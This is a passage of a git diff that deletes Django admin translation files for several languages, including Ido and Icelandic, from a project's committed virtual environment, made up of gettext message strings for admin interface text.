-msgstr "September" - -msgid "October" -msgstr "Oktober" - -msgid "November" -msgstr "November" - -msgid "December" -msgstr "Desember" - -msgctxt "abbrev. month January" -msgid "Jan" -msgstr "Jan" - -msgctxt "abbrev. month February" -msgid "Feb" -msgstr "Feb" - -msgctxt "abbrev. month March" -msgid "Mar" -msgstr "Mar" - -msgctxt "abbrev. month April" -msgid "Apr" -msgstr "Apr" - -msgctxt "abbrev. month May" -msgid "May" -msgstr "Mei" - -msgctxt "abbrev. month June" -msgid "Jun" -msgstr "Jun" - -msgctxt "abbrev. month July" -msgid "Jul" -msgstr "Jul" - -msgctxt "abbrev. month August" -msgid "Aug" -msgstr "Agu" - -msgctxt "abbrev. month September" -msgid "Sep" -msgstr "Sep" - -msgctxt "abbrev. month October" -msgid "Oct" -msgstr "Okt" - -msgctxt "abbrev. month November" -msgid "Nov" -msgstr "Nov" - -msgctxt "abbrev. month December" -msgid "Dec" -msgstr "Des" - -msgid "Sunday" -msgstr "Ahad" - -msgid "Monday" -msgstr "Senin" - -msgid "Tuesday" -msgstr "Selasa" - -msgid "Wednesday" -msgstr "Rabu" - -msgid "Thursday" -msgstr "Kamis" - -msgid "Friday" -msgstr "Jum'at" - -msgid "Saturday" -msgstr "Sabtu" - -msgctxt "abbrev. day Sunday" -msgid "Sun" -msgstr "Ahd" - -msgctxt "abbrev. day Monday" -msgid "Mon" -msgstr "Sen" - -msgctxt "abbrev. day Tuesday" -msgid "Tue" -msgstr "Sel" - -msgctxt "abbrev. day Wednesday" -msgid "Wed" -msgstr "Rab" - -msgctxt "abbrev. day Thursday" -msgid "Thur" -msgstr "Kam" - -msgctxt "abbrev. day Friday" -msgid "Fri" -msgstr "Jum" - -msgctxt "abbrev. day Saturday" -msgid "Sat" -msgstr "Sab" - -msgctxt "one letter Sunday" -msgid "S" -msgstr "M" - -msgctxt "one letter Monday" -msgid "M" -msgstr "S" - -msgctxt "one letter Tuesday" -msgid "T" -msgstr "S" - -msgctxt "one letter Wednesday" -msgid "W" -msgstr "R" - -msgctxt "one letter Thursday" -msgid "T" -msgstr "K" - -msgctxt "one letter Friday" -msgid "F" -msgstr "J" - -msgctxt "one letter Saturday" -msgid "S" -msgstr "S" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/io/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/io/LC_MESSAGES/django.mo deleted file mode 100644 index abe5bb50..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/io/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/io/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/io/LC_MESSAGES/django.po deleted file mode 100644 index ddf09c2f..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/io/LC_MESSAGES/django.po +++ /dev/null @@ -1,668 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Viko Bartero , 2014 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2017-01-19 16:49+0100\n" -"PO-Revision-Date: 2017-09-20 01:58+0000\n" -"Last-Translator: Jannis Leidel \n" -"Language-Team: Ido (http://www.transifex.com/django/django/language/io/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: io\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -#, python-format -msgid "Successfully deleted %(count)d %(items)s." -msgstr "%(count)d %(items)s eliminesis sucesoze." - -#, python-format -msgid "Cannot delete %(name)s" -msgstr "Onu ne povas eliminar %(name)s" - -msgid "Are you sure?" -msgstr "Ka vu esas certa?" - -#, python-format -msgid "Delete selected %(verbose_name_plural)s" -msgstr "Eliminar selektita %(verbose_name_plural)s" - -msgid "Administration" -msgstr "" - -msgid "All" -msgstr "Omni" - -msgid "Yes" -msgstr "Yes" - -msgid "No" -msgstr "No" - -msgid "Unknown" -msgstr "Nekonocato" - -msgid "Any date" -msgstr "Irga dato" - -msgid "Today" -msgstr "Hodie" - -msgid "Past 7 days" -msgstr "7 antea dii" - -msgid "This month" -msgstr "Ca monato" - -msgid "This year" -msgstr "Ca yaro" - -msgid "No date" -msgstr "" - -msgid "Has date" -msgstr "" - -#, python-format -msgid "" -"Please enter the correct %(username)s and password for a staff account. Note " -"that both fields may be case-sensitive." -msgstr "" -"Skribez la korekta %(username)s e pasvorto di kelka staff account. Remarkez " -"ke both feldi darfas rikonocar miniskulo e mayuskulo." - -msgid "Action:" -msgstr "Ago:" - -#, python-format -msgid "Add another %(verbose_name)s" -msgstr "Agregar altra %(verbose_name)s" - -msgid "Remove" -msgstr "Eliminar" - -msgid "action time" -msgstr "horo dil ago" - -msgid "user" -msgstr "" - -msgid "content type" -msgstr "" - -msgid "object id" -msgstr "id dil objekto" - -#. Translators: 'repr' means representation -#. (https://docs.python.org/3/library/functions.html#repr) -msgid "object repr" -msgstr "repr dil objekto" - -msgid "action flag" -msgstr "flago dil ago" - -msgid "change message" -msgstr "chanjar mesajo" - -msgid "log entry" -msgstr "logo informo" - -msgid "log entries" -msgstr "logo informi" - -#, python-format -msgid "Added \"%(object)s\"." -msgstr "\"%(object)s\" agregesis." - -#, python-format -msgid "Changed \"%(object)s\" - %(changes)s" -msgstr "\"%(object)s\" chanjesis - %(changes)s" - -#, python-format -msgid "Deleted \"%(object)s.\"" -msgstr "\"%(object)s\" eliminesis." - -msgid "LogEntry Object" -msgstr "LogEntry Objekto" - -#, python-brace-format -msgid "Added {name} \"{object}\"." -msgstr "" - -msgid "Added." -msgstr "" - -msgid "and" -msgstr "e" - -#, python-brace-format -msgid "Changed {fields} for {name} \"{object}\"." -msgstr "" - -#, python-brace-format -msgid "Changed {fields}." -msgstr "" - -#, python-brace-format -msgid "Deleted {name} \"{object}\"." -msgstr "" - -msgid "No fields changed." -msgstr "Nula feldo chanjesis." - -msgid "None" -msgstr "Nula" - -msgid "" -"Hold down \"Control\", or \"Command\" on a Mac, to select more than one." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} \"{obj}\" was added successfully. You may edit it again below." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} \"{obj}\" was added successfully. You may add another {name} " -"below." -msgstr "" - -#, python-brace-format -msgid "The {name} \"{obj}\" was added successfully." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} \"{obj}\" was changed successfully. You may edit it again below." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} \"{obj}\" was changed successfully. You may add another {name} " -"below." -msgstr "" - -#, python-brace-format -msgid "The {name} \"{obj}\" was changed successfully." -msgstr "" - -msgid "" -"Items must be selected in order to perform actions on them. No items have " -"been changed." -msgstr "" -"Onu devas selektar la objekti por aplikar oli irga ago. Nula objekto " -"chanjesis." - -msgid "No action selected." -msgstr "Nula ago selektesis." - -#, python-format -msgid "The %(name)s \"%(obj)s\" was deleted successfully." -msgstr "La %(name)s \"%(obj)s\" eliminesis sucesoze." - -#, python-format -msgid "%(name)s with ID \"%(key)s\" doesn't exist. Perhaps it was deleted?" -msgstr "" - -#, python-format -msgid "Add %s" -msgstr "Agregar %s" - -#, python-format -msgid "Change %s" -msgstr "Chanjar %s" - -msgid "Database error" -msgstr "Eroro del datumaro" - -#, python-format -msgid "%(count)s %(name)s was changed successfully." -msgid_plural "%(count)s %(name)s were changed successfully." -msgstr[0] "%(count)s %(name)s chanjesis sucesoze." -msgstr[1] "%(count)s %(name)s chanjesis sucesoze." - -#, python-format -msgid "%(total_count)s selected" -msgid_plural "All %(total_count)s selected" -msgstr[0] "%(total_count)s selektita" -msgstr[1] "La %(total_count)s selektita" - -#, python-format -msgid "0 of %(cnt)s selected" -msgstr "Selektita 0 di %(cnt)s" - -#, python-format -msgid "Change history: %s" -msgstr "Modifikuro historio: %s" - -#. Translators: Model verbose name and instance representation, -#. suitable to be an item in a list. -#, python-format -msgid "%(class_name)s %(instance)s" -msgstr "%(class_name)s %(instance)s" - -#, python-format -msgid "" -"Deleting %(class_name)s %(instance)s would require deleting the following " -"protected related objects: %(related_objects)s" -msgstr "" -"Por eliminar %(class_name)s %(instance)s on mustas eliminar la sequanta " -"protektita objekti relatita: %(related_objects)s" - -msgid "Django site admin" -msgstr "Django situo admin" - -msgid "Django administration" -msgstr "Django administreyo" - -msgid "Site administration" -msgstr "Administrayo dil ret-situo" - -msgid "Log in" -msgstr "Startar sesiono" - -#, python-format -msgid "%(app)s administration" -msgstr "" - -msgid "Page not found" -msgstr "La pagino ne renkontresis" - -msgid "We're sorry, but the requested page could not be found." -msgstr "Pardonez, ma la demandita pagino ne renkontresis." - -msgid "Home" -msgstr "Hemo" - -msgid "Server error" -msgstr "Eroro del servilo" - -msgid "Server error (500)" -msgstr "Eroro del servilo (500)" - -msgid "Server Error (500)" -msgstr "Eroro del servilo (500)" - -msgid "" -"There's been an error. It's been reported to the site administrators via " -"email and should be fixed shortly. Thanks for your patience." -msgstr "" -"Eroro eventis. Ico informesis per e-posto a la administranti dil ret-situo e " -"la eroro esos korektigata balde. Danko pro vua pacienteso." - -msgid "Run the selected action" -msgstr "Exekutar la selektita ago" - -msgid "Go" -msgstr "Irar" - -msgid "Click here to select the objects across all pages" -msgstr "Kliktez hike por selektar la objekti di omna pagini" - -#, python-format -msgid "Select all %(total_count)s %(module_name)s" -msgstr "Selektar omna %(total_count)s %(module_name)s" - -msgid "Clear selection" -msgstr "Desfacar selekto" - -msgid "" -"First, enter a username and password. Then, you'll be able to edit more user " -"options." -msgstr "" -"Unesme, skribez uzer-nomo ed pasvorto. Pos, vu povos modifikar altra uzer-" -"selekto." - -msgid "Enter a username and password." -msgstr "Skribez uzer-nomo ed pasvorto." - -msgid "Change password" -msgstr "Chanjar pasvorto" - -msgid "Please correct the error below." -msgstr "Korektigez la eroro infre." - -msgid "Please correct the errors below." -msgstr "Korektigez la erori infre." - -#, python-format -msgid "Enter a new password for the user %(username)s." -msgstr "Skribez nova pasvorto por la uzero %(username)s." - -msgid "Welcome," -msgstr "Bonvenez," - -msgid "View site" -msgstr "" - -msgid "Documentation" -msgstr "Dokumento" - -msgid "Log out" -msgstr "Klozar sesiono" - -#, python-format -msgid "Add %(name)s" -msgstr "Agregar %(name)s" - -msgid "History" -msgstr "Historio" - -msgid "View on site" -msgstr "Vidar en la ret-situo" - -msgid "Filter" -msgstr "Filtrar" - -msgid "Remove from sorting" -msgstr "Eskartar de klasifiko" - -#, python-format -msgid "Sorting priority: %(priority_number)s" -msgstr "Precedo dil klasifiko: %(priority_number)s" - -msgid "Toggle sorting" -msgstr "Aktivar/desaktivar klasifiko" - -msgid "Delete" -msgstr "Eliminar" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting " -"related objects, but your account doesn't have permission to delete the " -"following types of objects:" -msgstr "" -"Eliminar la %(object_name)s '%(escaped_object)s' eliminos relatita objekti, " -"ma vua account ne havas permiso por eliminar la sequanta objekti:" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the " -"following protected related objects:" -msgstr "" -"Eliminar la %(object_name)s '%(escaped_object)s' eliminus la sequanta " -"protektita objekti relatita:" - -#, python-format -msgid "" -"Are you sure you want to delete the %(object_name)s \"%(escaped_object)s\"? " -"All of the following related items will be deleted:" -msgstr "" -"Ka vu volas eliminar la %(object_name)s \"%(escaped_object)s\"? Omna " -"sequanta objekti relatita eliminesos:" - -msgid "Objects" -msgstr "" - -msgid "Yes, I'm sure" -msgstr "Yes, me esas certa" - -msgid "No, take me back" -msgstr "" - -msgid "Delete multiple objects" -msgstr "Eliminar multopla objekti" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would result in deleting related " -"objects, but your account doesn't have permission to delete the following " -"types of objects:" -msgstr "" -"Eliminar la selektita %(objects_name)s eliminos relatita objekti, ma vua " -"account ne havas permiso por eliminar la sequanta objekti:" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would require deleting the following " -"protected related objects:" -msgstr "" -"Eliminar la selektita %(objects_name)s eliminos la sequanta protektita " -"objekti relatita:" - -#, python-format -msgid "" -"Are you sure you want to delete the selected %(objects_name)s? All of the " -"following objects and their related items will be deleted:" -msgstr "" -"Ka vu volas eliminar la selektita %(objects_name)s? Omna sequanta objekti ed " -"olia relatita objekti eliminesos:" - -msgid "Change" -msgstr "Modifikar" - -msgid "Delete?" -msgstr "Ka eliminar?" - -#, python-format -msgid " By %(filter_title)s " -msgstr "Per %(filter_title)s " - -msgid "Summary" -msgstr "" - -#, python-format -msgid "Models in the %(name)s application" -msgstr "Modeli en la %(name)s apliko" - -msgid "Add" -msgstr "Agregar" - -msgid "You don't have permission to edit anything." -msgstr "Vu ne havas permiso por facar modifiki." - -msgid "Recent actions" -msgstr "" - -msgid "My actions" -msgstr "" - -msgid "None available" -msgstr "Nulo disponebla" - -msgid "Unknown content" -msgstr "Nekonocata kontenajo" - -msgid "" -"Something's wrong with your database installation. Make sure the appropriate " -"database tables have been created, and make sure the database is readable by " -"the appropriate user." -msgstr "" -"Vua datumaro instaluro esas defektiva. Verifikez ke la datumaro tabeli " -"kreadesis e ke la uzero havas permiso por lektar la datumaro." - -#, python-format -msgid "" -"You are authenticated as %(username)s, but are not authorized to access this " -"page. Would you like to login to a different account?" -msgstr "" - -msgid "Forgotten your password or username?" -msgstr "Ka vu obliviis vua pasvorto od uzer-nomo?" - -msgid "Date/time" -msgstr "Dato/horo" - -msgid "User" -msgstr "Uzero" - -msgid "Action" -msgstr "Ago" - -msgid "" -"This object doesn't have a change history. It probably wasn't added via this " -"admin site." -msgstr "" -"Ica objekto ne havas chanjo-historio. Olu forsan ne agregesis per ica " -"administrala ret-situo." - -msgid "Show all" -msgstr "Montrar omni" - -msgid "Save" -msgstr "Salvar" - -msgid "Popup closing..." -msgstr "" - -#, python-format -msgid "Change selected %(model)s" -msgstr "" - -#, python-format -msgid "Add another %(model)s" -msgstr "" - -#, python-format -msgid "Delete selected %(model)s" -msgstr "" - -msgid "Search" -msgstr "Serchar" - -#, python-format -msgid "%(counter)s result" -msgid_plural "%(counter)s results" -msgstr[0] "%(counter)s resulto" -msgstr[1] "%(counter)s resulti" - -#, python-format -msgid "%(full_result_count)s total" -msgstr "%(full_result_count)s totala" - -msgid "Save as new" -msgstr "Salvar kom nova" - -msgid "Save and add another" -msgstr "Salvar ed agregar altra" - -msgid "Save and continue editing" -msgstr "Salvar e durar la modifiko" - -msgid "Thanks for spending some quality time with the Web site today." -msgstr "Danko pro vua spensita tempo en la ret-situo hodie." - -msgid "Log in again" -msgstr "Ristartar sesiono" - -msgid "Password change" -msgstr "Pasvorto chanjo" - -msgid "Your password was changed." -msgstr "Vua pasvorto chanjesis." - -msgid "" -"Please enter your old password, for security's sake, and then enter your new " -"password twice so we can verify you typed it in correctly." -msgstr "" -"Por kauciono, skribez vua anta pasvorto e pos skribez vua nova pasvorto " -"dufoye por verifikar ke olu skribesis korekte." - -msgid "Change my password" -msgstr "Modifikar mea pasvorto" - -msgid "Password reset" -msgstr "Pasvorto chanjo" - -msgid "Your password has been set. You may go ahead and log in now." -msgstr "Vua pasvorto chanjesis. Vu darfas startar sesiono nun." - -msgid "Password reset confirmation" -msgstr "Pasvorto chanjo konfirmo" - -msgid "" -"Please enter your new password twice so we can verify you typed it in " -"correctly." -msgstr "" -"Skribez vua nova pasvorto dufoye por verifikar ke olu skribesis korekte." - -msgid "New password:" -msgstr "Nova pasvorto:" - -msgid "Confirm password:" -msgstr "Konfirmez pasvorto:" - -msgid "" -"The password reset link was invalid, possibly because it has already been " -"used. Please request a new password reset." -msgstr "" -"La link por chanjar pasvorto ne esis valida, forsan pro ke olu ja uzesis. " -"Demandez nova pasvorto chanjo." - -msgid "" -"We've emailed you instructions for setting your password, if an account " -"exists with the email you entered. You should receive them shortly." -msgstr "" - -msgid "" -"If you don't receive an email, please make sure you've entered the address " -"you registered with, and check your spam folder." -msgstr "" -"Se vu ne recevas mesajo, verifikez ke vu skribis la sama e-posto adreso " -"uzita por vua registro e lektez vua spam mesaji." - -#, python-format -msgid "" -"You're receiving this email because you requested a password reset for your " -"user account at %(site_name)s." -msgstr "" -"Vu esas recevanta ica mesajo pro ke vu demandis pasvorto chanjo por vua " -"uzero account che %(site_name)s." - -msgid "Please go to the following page and choose a new password:" -msgstr "Irez al sequanta pagino e selektez nova pasvorto:" - -msgid "Your username, in case you've forgotten:" -msgstr "Vua uzernomo, se vu obliviis olu:" - -msgid "Thanks for using our site!" -msgstr "Danko pro uzar nia ret-situo!" - -#, python-format -msgid "The %(site_name)s team" -msgstr "La equipo di %(site_name)s" - -msgid "" -"Forgotten your password? Enter your email address below, and we'll email " -"instructions for setting a new one." -msgstr "" -"Ka vu obliviis vua pasvorto? Skribez vua e-posto adreso infre e ni sendos " -"instrucioni por kreadar nova pasvorto." - -msgid "Email address:" -msgstr "E-postala adreso:" - -msgid "Reset my password" -msgstr "Chanjar mea pasvorto" - -msgid "All dates" -msgstr "Omna dati" - -#, python-format -msgid "Select %s" -msgstr "Selektar %s" - -#, python-format -msgid "Select %s to change" -msgstr "Selektar %s por chanjar" - -msgid "Date:" -msgstr "Dato:" - -msgid "Time:" -msgstr "Horo:" - -msgid "Lookup" -msgstr "Serchado" - -msgid "Currently:" -msgstr "Aktuale" - -msgid "Change:" -msgstr "Chanjo:" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/io/LC_MESSAGES/djangojs.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/io/LC_MESSAGES/djangojs.mo deleted file mode 100644 index fba64da8..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/io/LC_MESSAGES/djangojs.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/io/LC_MESSAGES/djangojs.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/io/LC_MESSAGES/djangojs.po deleted file mode 100644 index d7be82ec..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/io/LC_MESSAGES/djangojs.po +++ /dev/null @@ -1,145 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2015-01-17 11:07+0100\n" -"PO-Revision-Date: 2014-10-05 20:11+0000\n" -"Last-Translator: Jannis Leidel \n" -"Language-Team: Ido (http://www.transifex.com/projects/p/django/language/" -"io/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: io\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -#, javascript-format -msgid "Available %s" -msgstr "" - -#, javascript-format -msgid "" -"This is the list of available %s. You may choose some by selecting them in " -"the box below and then clicking the \"Choose\" arrow between the two boxes." -msgstr "" - -#, javascript-format -msgid "Type into this box to filter down the list of available %s." -msgstr "" - -msgid "Filter" -msgstr "" - -msgid "Choose all" -msgstr "" - -#, javascript-format -msgid "Click to choose all %s at once." -msgstr "" - -msgid "Choose" -msgstr "" - -msgid "Remove" -msgstr "" - -#, javascript-format -msgid "Chosen %s" -msgstr "" - -#, javascript-format -msgid "" -"This is the list of chosen %s. You may remove some by selecting them in the " -"box below and then clicking the \"Remove\" arrow between the two boxes." -msgstr "" - -msgid "Remove all" -msgstr "" - -#, javascript-format -msgid "Click to remove all chosen %s at once." -msgstr "" - -msgid "%(sel)s of %(cnt)s selected" -msgid_plural "%(sel)s of %(cnt)s selected" -msgstr[0] "" -msgstr[1] "" - -msgid "" -"You have unsaved changes on individual editable fields. If you run an " -"action, your unsaved changes will be lost." -msgstr "" - -msgid "" -"You have selected an action, but you haven't saved your changes to " -"individual fields yet. Please click OK to save. You'll need to re-run the " -"action." -msgstr "" - -msgid "" -"You have selected an action, and you haven't made any changes on individual " -"fields. You're probably looking for the Go button rather than the Save " -"button." -msgstr "" - -#, javascript-format -msgid "Note: You are %s hour ahead of server time." -msgid_plural "Note: You are %s hours ahead of server time." -msgstr[0] "" -msgstr[1] "" - -#, javascript-format -msgid "Note: You are %s hour behind server time." -msgid_plural "Note: You are %s hours behind server time." -msgstr[0] "" -msgstr[1] "" - -msgid "Now" -msgstr "" - -msgid "Clock" -msgstr "" - -msgid "Choose a time" -msgstr "" - -msgid "Midnight" -msgstr "" - -msgid "6 a.m." -msgstr "" - -msgid "Noon" -msgstr "" - -msgid "Cancel" -msgstr "" - -msgid "Today" -msgstr "" - -msgid "Calendar" -msgstr "" - -msgid "Yesterday" -msgstr "" - -msgid "Tomorrow" -msgstr "" - -msgid "" -"January February March April May June July August September October November " -"December" -msgstr "" - -msgid "S M T W T F S" -msgstr "" - -msgid "Show" -msgstr "" - -msgid "Hide" -msgstr "" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/is/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/is/LC_MESSAGES/django.mo deleted file mode 100644 index 55329686..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/is/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/is/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/is/LC_MESSAGES/django.po deleted file mode 100644 index 868a4528..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/is/LC_MESSAGES/django.po +++ /dev/null @@ -1,720 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Dagur Ammendrup , 2019 -# Hafsteinn Einarsson , 2011-2012 -# Jannis Leidel , 2011 -# 479d446b5da12875beba10cac54e9faf_a7ca1e7 , 2013 -# Thordur Sigurdsson , 2016-2020 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2020-07-14 19:53+0200\n" -"PO-Revision-Date: 2020-07-14 22:38+0000\n" -"Last-Translator: Transifex Bot <>\n" -"Language-Team: Icelandic (http://www.transifex.com/django/django/language/" -"is/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: is\n" -"Plural-Forms: nplurals=2; plural=(n % 10 != 1 || n % 100 == 11);\n" - -#, python-format -msgid "Successfully deleted %(count)d %(items)s." -msgstr "Eyddi %(count)d %(items)s." - -#, python-format -msgid "Cannot delete %(name)s" -msgstr "Get ekki eytt %(name)s" - -msgid "Are you sure?" -msgstr "Ertu viss?" - -#, python-format -msgid "Delete selected %(verbose_name_plural)s" -msgstr "Eyða völdum %(verbose_name_plural)s" - -msgid "Administration" -msgstr "Vefstjórn" - -msgid "All" -msgstr "Allt" - -msgid "Yes" -msgstr "Já" - -msgid "No" -msgstr "Nei" - -msgid "Unknown" -msgstr "Óþekkt" - -msgid "Any date" -msgstr "Allar dagsetningar" - -msgid "Today" -msgstr "Dagurinn í dag" - -msgid "Past 7 days" -msgstr "Síðustu 7 dagar" - -msgid "This month" -msgstr "Þessi mánuður" - -msgid "This year" -msgstr "Þetta ár" - -msgid "No date" -msgstr "Engin dagsetning" - -msgid "Has date" -msgstr "Hefur dagsetningu" - -msgid "Empty" -msgstr "Tómt" - -msgid "Not empty" -msgstr "Ekki tómt" - -#, python-format -msgid "" -"Please enter the correct %(username)s and password for a staff account. Note " -"that both fields may be case-sensitive." -msgstr "" -"Vinsamlegast sláðu inn rétt %(username)s og lykilorð fyrir starfsmanna " -"aðgang. Takið eftir að í báðum reitum skipta há- og lágstafir máli." - -msgid "Action:" -msgstr "Aðgerð:" - -#, python-format -msgid "Add another %(verbose_name)s" -msgstr "Bæta við öðrum %(verbose_name)s" - -msgid "Remove" -msgstr "Fjarlægja" - -msgid "Addition" -msgstr "Viðbót" - -msgid "Change" -msgstr "Breyta" - -msgid "Deletion" -msgstr "Eyðing" - -msgid "action time" -msgstr "tími aðgerðar" - -msgid "user" -msgstr "notandi" - -msgid "content type" -msgstr "efnistag" - -msgid "object id" -msgstr "kenni hlutar" - -#. Translators: 'repr' means representation -#. (https://docs.python.org/library/functions.html#repr) -msgid "object repr" -msgstr "framsetning hlutar" - -msgid "action flag" -msgstr "aðgerðarveifa" - -msgid "change message" -msgstr "breyta skilaboði" - -msgid "log entry" -msgstr "kladdafærsla" - -msgid "log entries" -msgstr "kladdafærslur" - -#, python-format -msgid "Added “%(object)s”." -msgstr "Bætti við „%(object)s“." - -#, python-format -msgid "Changed “%(object)s” — %(changes)s" -msgstr "Breytti „%(object)s“ — %(changes)s" - -#, python-format -msgid "Deleted “%(object)s.”" -msgstr "Eyddi „%(object)s.“" - -msgid "LogEntry Object" -msgstr "LogEntry hlutur" - -#, python-brace-format -msgid "Added {name} “{object}”." -msgstr "Bætti við {name} „{object}“." - -msgid "Added." -msgstr "Bætti við." - -msgid "and" -msgstr "og" - -#, python-brace-format -msgid "Changed {fields} for {name} “{object}”." -msgstr "Breytti {fields} fyrir {name} „{object}“." - -#, python-brace-format -msgid "Changed {fields}." -msgstr "Breytti {fields}." - -#, python-brace-format -msgid "Deleted {name} “{object}”." -msgstr "Eyddi {name} „{object}“." - -msgid "No fields changed." -msgstr "Engum reitum breytt." - -msgid "None" -msgstr "Ekkert" - -msgid "Hold down “Control”, or “Command” on a Mac, to select more than one." -msgstr "" -"Haltu inni „Control“, eða „Command“ á Mac til þess að velja fleira en eitt." - -#, python-brace-format -msgid "The {name} “{obj}” was added successfully." -msgstr "{name} „{obj}“ var bætt við." - -msgid "You may edit it again below." -msgstr "Þú mátt breyta þessu aftur hér að neðan." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was added successfully. You may add another {name} below." -msgstr "" -"{name} „{obj}“ hefur verið bætt við. Þú getur bætt við öðru {name} að neðan." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may edit it again below." -msgstr "{name} „{obj}“ hefur verið breytt. Þú getur breytt því aftur að neðan." - -#, python-brace-format -msgid "The {name} “{obj}” was added successfully. You may edit it again below." -msgstr "" -"{name} „{obj}“ hefur verið bætt við. Þú getur breytt því aftur að neðan." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may add another {name} " -"below." -msgstr "" -"{name} \"{obj}\" hefur verið breytt. Þú getur bætt við öðru {name} að neðan." - -#, python-brace-format -msgid "The {name} “{obj}” was changed successfully." -msgstr "{name} „{obj}“ hefur verið breytt." - -msgid "" -"Items must be selected in order to perform actions on them. No items have " -"been changed." -msgstr "" -"Hlutir verða að vera valdir til að framkvæma aðgerðir á þeim. Engu hefur " -"verið breytt." - -msgid "No action selected." -msgstr "Engin aðgerð valin." - -#, python-format -msgid "The %(name)s “%(obj)s” was deleted successfully." -msgstr "%(name)s „%(obj)s“ var eytt." - -#, python-format -msgid "%(name)s with ID “%(key)s” doesn’t exist. Perhaps it was deleted?" -msgstr "%(name)s með ID \"%(key)s\" er ekki til. Var því mögulega eytt?" - -#, python-format -msgid "Add %s" -msgstr "Bæta við %s" - -#, python-format -msgid "Change %s" -msgstr "Breyta %s" - -#, python-format -msgid "View %s" -msgstr "Skoða %s" - -msgid "Database error" -msgstr "Gagnagrunnsvilla" - -#, python-format -msgid "%(count)s %(name)s was changed successfully." -msgid_plural "%(count)s %(name)s were changed successfully." -msgstr[0] "%(count)s %(name)s var breytt." -msgstr[1] "%(count)s %(name)s var breytt." - -#, python-format -msgid "%(total_count)s selected" -msgid_plural "All %(total_count)s selected" -msgstr[0] "Allir %(total_count)s valdir" -msgstr[1] "Allir %(total_count)s valdir" - -#, python-format -msgid "0 of %(cnt)s selected" -msgstr "0 af %(cnt)s valin" - -#, python-format -msgid "Change history: %s" -msgstr "Breytingarsaga: %s" - -#. Translators: Model verbose name and instance representation, -#. suitable to be an item in a list. -#, python-format -msgid "%(class_name)s %(instance)s" -msgstr "%(class_name)s %(instance)s" - -#, python-format -msgid "" -"Deleting %(class_name)s %(instance)s would require deleting the following " -"protected related objects: %(related_objects)s" -msgstr "" -"Að eyða %(class_name)s %(instance)s þyrfti að eyða eftirfarandi tengdum " -"hlutum: %(related_objects)s" - -msgid "Django site admin" -msgstr "Django vefstjóri" - -msgid "Django administration" -msgstr "Django vefstjórn" - -msgid "Site administration" -msgstr "Vefstjóri" - -msgid "Log in" -msgstr "Skrá inn" - -#, python-format -msgid "%(app)s administration" -msgstr "%(app)s vefstjórn" - -msgid "Page not found" -msgstr "Síða fannst ekki" - -msgid "We’re sorry, but the requested page could not be found." -msgstr "Því miður fannst umbeðin síða ekki." - -msgid "Home" -msgstr "Heim" - -msgid "Server error" -msgstr "Kerfisvilla" - -msgid "Server error (500)" -msgstr "Kerfisvilla (500)" - -msgid "Server Error (500)" -msgstr "Kerfisvilla (500)" - -msgid "" -"There’s been an error. It’s been reported to the site administrators via " -"email and should be fixed shortly. Thanks for your patience." -msgstr "" -"Villa kom upp. Hún hefur verið tilkynnt til vefstjóra með tölvupósti og ætti " -"að lagast fljótlega. Þökkum þolinmæðina." - -msgid "Run the selected action" -msgstr "Keyra valda aðgerð" - -msgid "Go" -msgstr "Áfram" - -msgid "Click here to select the objects across all pages" -msgstr "Smelltu hér til að velja alla hluti" - -#, python-format -msgid "Select all %(total_count)s %(module_name)s" -msgstr "Velja alla %(total_count)s %(module_name)s" - -msgid "Clear selection" -msgstr "Hreinsa val" - -#, python-format -msgid "Models in the %(name)s application" -msgstr "Módel í appinu %(name)s" - -msgid "Add" -msgstr "Bæta við" - -msgid "View" -msgstr "Skoða" - -msgid "You don’t have permission to view or edit anything." -msgstr "Þú hefur ekki réttindi til að 